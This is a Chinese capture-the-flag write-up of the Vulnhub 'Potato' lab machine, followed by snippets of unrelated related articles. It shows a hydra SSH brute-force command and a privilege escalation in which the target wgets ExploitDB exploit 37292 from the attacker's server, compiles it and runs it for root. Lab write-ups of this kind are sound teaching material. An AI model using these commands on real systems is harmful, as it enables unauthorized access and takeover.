Potato靶机
信息搜集
设备发现
扫描端口
综合扫描
开放了80端口的HTTP服务和7120端口的SSH服务
目录扫描
扫描目录
看看这个info.php，发现只有php的版本信息，没有可以利用的注入点
SSH突破
hydra 爆破
考虑到 7120 端口是 ssh 服务，尝试利用 hydra 进行 ssh 爆破，得到用户名：potato 密码：letmein
hydra -l potato -P top1000.txt -V ssh://192.168.88.138:7120
ssh渗透提权
用拿到 ssh 用户名和密码，登录 ssh
id查看发现是一个普通用户；uname -a查看发现ubuntu的版本很老，只有3.13.0
查看 Linux 内核信息，搜索后发现存在 exp，也可以searchsploit ubuntu 3.13.3，使用第一个漏洞进行攻击
使用该漏洞，
将漏洞传到靶机上，这里我们在kali上建立apache服务器，让目标主机通过网络将漏洞下载到本机上
service apache2 start ---------开启服务器ss -tunlp ----------查看开启端口
将漏洞下载到服务器目录下
cd /var/www/html
searchsploit -m 37292 
使用目标靶机下载服务器上的漏洞
wget http://192.168.88.128/37292.c 运行脚本提权
gcc 37292.c -o exp ----------编译脚本
chmod +777 exp -----------更改权限
./exp -------------执行脚本
提高交互性并且拿到root权限
找到flag，拿下
参考博客：
Potato靶机测试-CSDN博客
Vulnhub靶机实战-POTATO-WP_维梓-的博客-CSDN博客
相关文章：
Potato靶机
信息搜集 设备发现 扫描端口 综合扫描 开放了80端口的HTTP服务和7120端口的SSH服务 目录扫描 扫描目录 看看这个info.php，发现只有php的版本信息，没有可以利用的注入点 SSH突破 hydra 爆破 考虑到 7120 端口是 ssh 服务，尝试利用 hydra …...
【环境搭建】linux docker-compose安装gitlab和redis
gitlab需要redis，一起安装了 新建gitlab和redis挂载目录 mkdir -p /data/docker/redis/data mkdir -p /data/docker/redis/logs mkdir -p /data/docker/redis/confmkdir -p /data/docker/gitlab/data mkdir -p /data/docker/gitlab/logs mkdir -p /data/docker/gi…...
JAVAEE初阶相关内容第十三弹--文件操作 IO
写在前 终于完成了！！！！内容不多就是本人太拖拉！ 这里主要介绍文件input，output操作。File类，流对象（分为字节流、字符流） 需要掌握每个流对象的使用方式：打…...
POI报表的高级应用
POI报表的高级应用 掌握基于模板打印的POI报表导出理解自定义工具类的执行流程 熟练使用SXSSFWorkbook完成百万数据报表打印理解基于事件驱动的POI报表导入 模板打印 概述 自定义生成Excel报表文件还是有很多不尽如意的地方，特别是针对复杂报表头，单…...
【计算机毕设选题推荐】超市管理系统SpringBoot+SSM+Vue
前言：我是IT源码社，从事计算机开发行业数年，专注Java领域，专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务 项目名 基于SpringBoot的超市管理系统 技术栈 SpringBootVueMySQLMaven 文章目录 一、超市管理系统…...
【算法1-4】递推与递归-P1002 [NOIP2002 普及组] 过河卒
## 题目描述 棋盘上 A 点有一个过河卒，需要走到目标 B 点。卒行走的规则：可以向下、或者向右。同时在棋盘上 C 点有一个对方的马，该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。 棋盘用坐标表示&#…...
浅谈压力测试的作用是什么
随着现代应用程序变得越来越复杂，用户的期望也在不断提高，对性能和可靠性的要求变得更加苛刻。在应用程序开发和维护的过程中，压力测试是一项至关重要的活动，它可以帮助发现潜在的问题、评估系统的性能极限，以及确保在…...
互联网Java工程师面试题·Java 总结篇·第一弹
目录 1、面向对象的特征有哪些方面？ 2、访问修饰符 public,private,protected,以及不写（默认）时的区别？ 3、String 是最基本的数据类型吗？ 4、float f3.4;是否正确？ 5、short s1 1; s1 s1 1;有错吗…...
Anylogic 读取和写入Excel文件
1、选择面板-连接-Excel文件，拖入到视图中 然后在excel文件的属性中进行绑定外部excel文件。 绑定完之后，在你需要读取的地方进行写代码， //定义开始读取的行数 //这里设为2，是因为第一行是数据名称 int row12; //读取excel文件信…...
茶百道全链路可观测实战
作者：山猎 茶百道是四川成都的本土茶饮连锁品牌，创立于 2008 年 。经过 15 年的发展，茶百道已成为餐饮标杆品牌，全国门店超 7000 家，遍布全国 31 个省市，实现中国大陆所有省份及各线级城市的全覆盖。2021 …...
Java-JDBC
JDBC JDBC英文名为：Java Data Base Connectivity(Java数据库连接)，官方解释它是Java编程语言和广泛的数据库之间独立于数据库的连接标准的Java API 根本上说JDBC是一种规范，它提供的接口，一套完整的，允许便捷式访问底…...
【ROS】Nav2源码之nav2_planner详解
【ROS】郭老二博文之：ROS目录 1、简述 nav2_planner是路径规划器，把起始位置、姿势的信息输入nav2_planner模块，将会生成可行路径。 nav2_planner路径规划器和nav2_controller控制器相似，也使用插件的形式加载不同的路径规划器。 常用的路径规划器插件有： 1）NavFn Plan…...
mysql报SQLSTATE[22007]的错误的一个原因
最近在修改一个程序，打算将$video这个参数保存到数据库。修改的过程中出现错误。导致该程序不能发布新文章。在程序的一个db.php程序文件里使用var_dump($input, $stmt) ; 语句看到了错误信息，并找到了错误原因。信息里包含的错误代码是： SQ…...
Python —— UI自动化之 三大等待与三大切换
1、三大等待 1、硬性等待 1、概述 硬性等待也可以称之为强制等待，写法如下： time.sleep() 优点：使用简单 缺点：等待时间把握不准，容易造成时间浪费或者等待时间不足 2、实战 from time import sleep from sele…...
初识容器Docker
目前使用 Docker 基本上有两个选择：Docker Desktop和Docker Engine。Docker Desktop 是专门针对个人使用而设计的，支持 Mac 和 Windows 快速安装，具有直观的图形界面，还集成了许多周边工具，方便易用。 不是太推荐使用D…...
pikachu靶场搭建及通关
一、靶场搭建 下载工具：phpstudy Pikachu靶机下载地址： https://github.com/zhuifengshaonianhanlu/pikachu 下载后解压缩并放入如下文件夹（网站根目录） 建议修改文件名称为 pikachu 修改配置文件（mysql 用户名&…...
选择排序（学习笔记）
选择排序 选择排序的基本思想是冒泡排序，记录当前位置i和最小值k的位置，使用一个变量j往后寻找。 每一轮找到最小值后与第一个元素进行交换，以此类推。 不使用辅助变量交换两个元素的值方法 package com.company.sort;import java.util.Ra…...
PCL 生成球形点云
目录 一、算法原理二、代码实现三、结果展示四、参考链接一、算法原理 生成球体点云的方法有很多种，Marsaglia于1972年提出了一个简单易行的实现方法，它从(-1,1)上的独立均匀分布中选取 x 1 x_1 x...
Flutter 剪裁（Clip）
🔥 ClipOval 🔥 子组件为正方形时剪裁成内贴圆形；为矩形时，剪裁成内贴椭圆 裁剪纯色背景 ClipOval(child: Container(width: 300.w,height: 300.w,decoration: const BoxDecoration(color: Colors.red),),), 裁剪背景图片 裁剪前…...
嵌入式C语言自我修养《GNU C编译器扩展语法》学习笔记
目录 一、C语言标准和编译器 二、指定初始化 三、宏构造“利器”：语句表达式 四、typeof与container_of宏 五、零长度数组 六、属性声明：section 七、属性声明：aligned 一、C语言标准和编译器 C语言标准的发展过程： ●…...
图解CA注意力机制：用Keras一步步拆解‘宽高分离池化’，理解位置信息如何嵌入通道注意力
图解CA注意力机制：用Keras拆解‘宽高分离池化’的视觉密码 当我们谈论注意力机制时，脑海中往往会浮现SE（Squeeze-and-Excitation）模块的通道加权画面。但今天要探讨的CA（Coordinate Attention）机制…...
从零构建：深入理解自治系统与BGP协议的核心机制
1. 自治系统与BGP协议的前世今生 第一次听说"自治系统"这个词时，我脑海中浮现的是科幻电影里的智能机器人。实际上，它指的是互联网中由单一组织管理的网络区域。想象一下，每个自治系统就像城市里的一个独立社区，有自己的…...
3个技巧快速掌握arp-scan局域网设备发现
3个技巧快速掌握arp-scan局域网设备发现 【免费下载链接】arp-scan The ARP Scanner 项目地址: https://gitcode.com/gh_mirrors/ar/arp-scan 在网络管理工作中，您是否经常遇到这样的困扰：明明设备连接了网络，却无法通过常规ping命令发…...
3分钟掌握Tuna插件：让OBS直播拥有专业级歌曲信息显示功能
3分钟掌握Tuna插件：让OBS直播拥有专业级歌曲信息显示功能 【免费下载链接】tuna Song information plugin for obs-studio 项目地址: https://gitcode.com/gh_mirrors/tuna1/tuna 你是否曾在直播中手动输入正在播放的歌曲信息，或者因为忘记切换歌…...
Axure RP中文语言包技术深度解析：从键值对到国际化架构的工程实践
Axure RP中文语言包技术深度解析：从键值对到国际化架构的工程实践 【免费下载链接】axure-cn Chinese language file for Axure RP. Axure RP 简体中文语言包。支持 Axure 11、10、9。不定期更新。 项目地址: https://gitcode.com/gh_mirrors/ax/axure-cn 在…...
Avogadro 2：开源分子可视化库的终极技术解析
Avogadro 2：开源分子可视化库的终极技术解析 【免费下载链接】avogadrolibs Avogadro libraries provide 3D rendering, visualization, analysis and data processing useful in computational chemistry, molecular modeling, bioinformatics, materials science,…...
macOS 上 GNS3 快速部署与跨 VLAN 通信实战
1. macOS 下 GNS3 的快速安装指南 第一次接触 GNS3 是在准备 CCNP 认证的时候，当时为了省下买真机的钱，在 MacBook Pro 上折腾了好几天。现在回想起来，如果当时有人能给我一份详细的安装指南，至少能少走一半弯路。GNS3 作为网络工…...
【DeepSeek API接入实战指南】：20年架构师亲授5大避坑法则与3小时极速接入方案
更多请点击： https://intelliparadigm.com 第一章：DeepSeek API接入开发教程 DeepSeek 提供了稳定、高性能的大模型 API 接口，支持文本生成、对话补全与函数调用等多种能力。开发者需通过 RESTful 方式调用其 OpenAPI v1 接口，所…...
Keil 5 Debug隐藏技巧：手把手教你配置软件仿真，避开‘no read permission’等常见报错
Keil 5 Debug高阶实战：从软件仿真配置到逻辑分析仪深度应用 在嵌入式开发领域，Keil MDK作为ARM架构的主流开发环境，其Debug功能尤其是软件仿真模块往往被开发者低估。许多工程师仅停留在基础调试层面，对逻辑分析仪等高级功能要么望…...
3步打造你的专属游戏串流服务器：Sunshine终极指南
3步打造你的专属游戏串流服务器：Sunshine终极指南 【免费下载链接】Sunshine Self-hosted game stream host for Moonlight. 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 还在为无法在客厅大电视上玩PC游戏而烦恼吗？想在平板上继…...